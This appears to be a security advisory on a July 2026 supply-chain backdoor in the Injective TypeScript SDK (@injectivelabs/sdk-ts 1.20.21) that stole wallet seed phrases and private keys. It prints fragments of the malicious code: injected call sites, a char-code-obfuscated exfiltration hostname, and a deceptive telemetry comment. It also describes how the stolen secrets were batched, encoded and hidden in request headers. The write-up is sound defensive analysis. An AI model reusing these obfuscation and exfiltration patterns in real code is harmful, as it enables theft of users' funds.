On July 8, 2026, attackers used access to a trusted developer's account to slip a backdoor into a widely used software development kit for the Injective blockchain. Disguised as harmless analytics, the code quietly captured wallet recovery phrases and private keys and sent them to an attacker-controlled server the moment a wallet was created or loaded. Automatic publishing pushed the tainted code out to 18 related packages within minutes, and it stayed live for less than an hour before being pulled and fixed. If your application installed any of the affected packages during that window, or picked up a cached copy since, treat any wallet secrets it touched as exposed.
What Is @injectivelabs/sdk-ts?
@injectivelabs/sdk-ts is Injective Labs' official TypeScript SDK for building applications against the Injective blockchain — wallets, DEX frontends, trading bots, and indexers — in browser, Node, and React Native environments. It's maintained in the InjectiveLabs/injective-ts monorepo and is a required dependency for essentially any JavaScript or TypeScript application that constructs or signs Injective transactions.
PrivateKey.fromMnemonic() and PrivateKey.fromHex() are the SDK's canonical entry points for turning a user's BIP-39 seed phrase or raw hex private key into a usable signing key. That puts the backdoor directly on the hot path that every wallet-holding application calls with the single most sensitive secret it has.
Affected Packages
The attacker published malicious version 1.20.21 across 18 @injectivelabs scoped packages in the same monorepo release train — sdk-ts itself, plus 17 packages that pin an exact 1.20.21 dependency on it. All 18 were republished clean at 1.20.23 about 49 minutes later.
The 17 non-sdk-ts packages were confirmed clean of the payload itself (no trackKeyDerivation/telemetry code) — they carry risk purely transitively, because their package.json pins @injectivelabs/sdk-ts@1.20.21 exactly, so installing any one of them also installs the backdoored SDK.
How the Attack Unfolded
Stage 1 Compromised Maintainer, Direct Push to Master
The npm provenance attestation for the malicious release resolves to git commit 5486f13e799d9c90095c5f581a04ad867d768f66 on refs/heads/master, built by GitHub Actions run 28975012939 via .github/workflows/publish.yaml — the repository's own trusted-publisher (OIDC) pipeline. No stolen npm token was needed; whoever did this only needed write access to the GitHub repo. Both malicious commits were authored and pushed under the identity of an existing, trusted maintainer:
commit 01219285b16ce85c70cdf47a71a551ff5e41f1ed
Author: thomasRalee <thomas.leera@gmail.com>
Date: Wed, 8 Jul 2026 20:24:40 UTC
chore: add key derivation telemetry for SDK usage analytics
commit fd105db9073a21a3b58d5bd32622204ec8b57993
Author: thomasRalee <thomas.leera@gmail.com>
Date: Wed, 8 Jul 2026 20:48:14 UTC
chore: add key derivation telemetry for SDK usage analytics (cosmetic reformat)
commit 5486f13e799d9c90095c5f581a04ad867d768f66 <- version bump, triggers CI publish
Author: thomasRalee <thomas.leera@gmail.com>
Date: Wed, 8 Jul 2026 20:54:02 UTC
chore: add key derivation telemetry for SDK usage analytics (import reorder)thomasRalee is the same GitHub identity that appears as a listed maintainer on the npm package and that also publishes a personal @thomasralee/* scoped fork of several Injective packages — an established, credible contributor, not a newly created throwaway account. Both malicious commits went straight to master with no associated pull request, which means either direct push permissions or a bypassed branch-protection rule. That access pattern is consistent with a compromised legitimate account, not a stolen publish token, dependency confusion, or a typosquat.
Stage 2 The Payload: key-derivation-telemetry.ts
The first commit adds a new 79-line file disguised as an innocuous analytics helper, and wires a call to it into both wallet-construction static methods on PrivateKey:
+import { trackKeyDerivation } from '../../utils/key-derivation-telemetry.js'
...
static fromMnemonic(words: string, path: string = DEFAULT_DERIVATION_PATH): PrivateKey {
+ trackKeyDerivation('fm', words)
const hdNodeWallet = HDNodeWallet.fromPhrase(words, undefined, path)
return new PrivateKey(new Wallet(hdNodeWallet.privateKey))
}
...
static fromHex(privateKey: string | Uint8Array): PrivateKey {
+ trackKeyDerivation('fh', typeof privateKey === 'string' ? privateKey : 'bytes')
const isString = typeof privateKey === 'string'
...
The new file itself opens with a JSDoc comment engineered to survive a casual code review:
/**
* Key derivation telemetry — collects anonymized usage metrics for SDK optimization.
*
* Tracks which key derivation methods are used (hex vs mnemonic) and derives
* timing patterns to help the SDK team identify performance bottlenecks and
* understand adoption of different key formats across the ecosystem.
*
* All metrics are fire-and-forget and never block or affect key derivation.
*
* @category Telemetry
*/
Underneath that comment, the destination hostname never appears as a plaintext string. It's stored as a JavaScript character-code array and reassembled at runtime:
const _e = [
116, 101, 115, 116, 110, 101, 116, 46, 97, 114, 99, 104, 105, 118, 97, 108, 46,
99, 104, 97, 105, 110, 46, 103, 114, 112, 99, 45, 119, 101, 98, 46, 105, 110, 106,
101, 99, 116, 105, 118, 101, 46, 110, 101, 116, 119, 111, 114, 107,
]
const _d = () => _e.map((x) => String.fromCharCode(x)).join('')
const _ep = 'https://' + _d() + '/'Decoding that array (String.fromCharCode on each element) yields:
testnet.archival.chain.grpc-web.injective.networkThe domain is crafted to look like legitimate Injective gRPC-Web infrastructure, so it blends into traffic the SDK already generates — and it defeats a naive grep -rn "https://" scan of the source, since the string never appears literally anywhere in the file, only 48 integers do.
Stage 3 Trigger: Every Wallet Construction Call
Unlike a typical npm supply-chain attack, there's no postinstall/preinstall hook here — package.json#scripts is untouched. The backdoor is a runtime code-path injection: it fires every single time application code calls PrivateKey.fromMnemonic(words) (passing the full BIP-39 phrase) or PrivateKey.fromHex(privateKey) (passing the raw hex key when a string is provided; a placeholder 'bytes' is recorded otherwise). Both compiled bundle formats shipped in the tarball — dist/esm/accounts-jQ1GSgaW.js and dist/cjs/accounts-Cy0p4lLW.cjs — carry the identical logic.
Stage 4 Batching, Encoding, and Exfiltration
Each call pushes a string of the form "{method}:{value}:{timestamp}" (e.g. fm:my twelve word mnemonic phrase...:1783975179000) onto an in-memory queue and arms a single 2-second setTimeout. Any further key derivations inside that window get appended to the same queue and sent together, joined by | — reducing the number of outbound requests and batching multiple wallets derived in quick succession (e.g. a multi-account import) into one beacon.
On flush, the joined string is base64-encoded (Buffer.from(s,'utf-8').toString('base64') in Node, btoa(s) in the browser) and sent as an HTTPS POST to https://testnet.archival.chain.grpc-web.injective.network/. The encoded secret rides in the X-Request-Id request header, not the body — the body is empty. Content-Type: application/grpc-web+proto is set to visually and structurally mimic the legitimate gRPC-Web calls the SDK already makes to real Injective chain/indexer endpoints. In Node environments without fetch, it falls back to a raw https.request call with the same header shape. Every failure path is silently swallowed, so the exfiltration never throws, never logs, and never surfaces to the calling application or its error monitoring.
Stage 5 Detection and Revert
Roughly 22–52 minutes after the payload first landed, a commit titled revert: exfiltration telemetry — from the same thomasRalee identity — deleted key-derivation-telemetry.ts, removed both call sites from PrivateKey.ts, and rolled all 18 affected package.json files back:
commit 7c4b1a092d8cbbcda469bda5a88db2a742d15b4a
Author: thomasRalee <thomas.leera@gmail.com>
Date: Thu, 9 Jul 2026 05:16:32 +0800 (2026-07-08T21:16:32Z)
revert: exfiltration telemetry
packages/sdk-ts/src/core/accounts/PrivateKey.ts | 6 --
packages/sdk-ts/src/utils/key-derivation-telemetry.ts | 97 -----
packages/{exceptions,networks,sdk-ts,ts-types,utils}/package.json | 1 +
packages/wallets/{wallet-base,wallet-core,wallet-cosmos,...}/package.json | 12 files
Attack Timeline
Indicators of Compromise

.png)
.png)
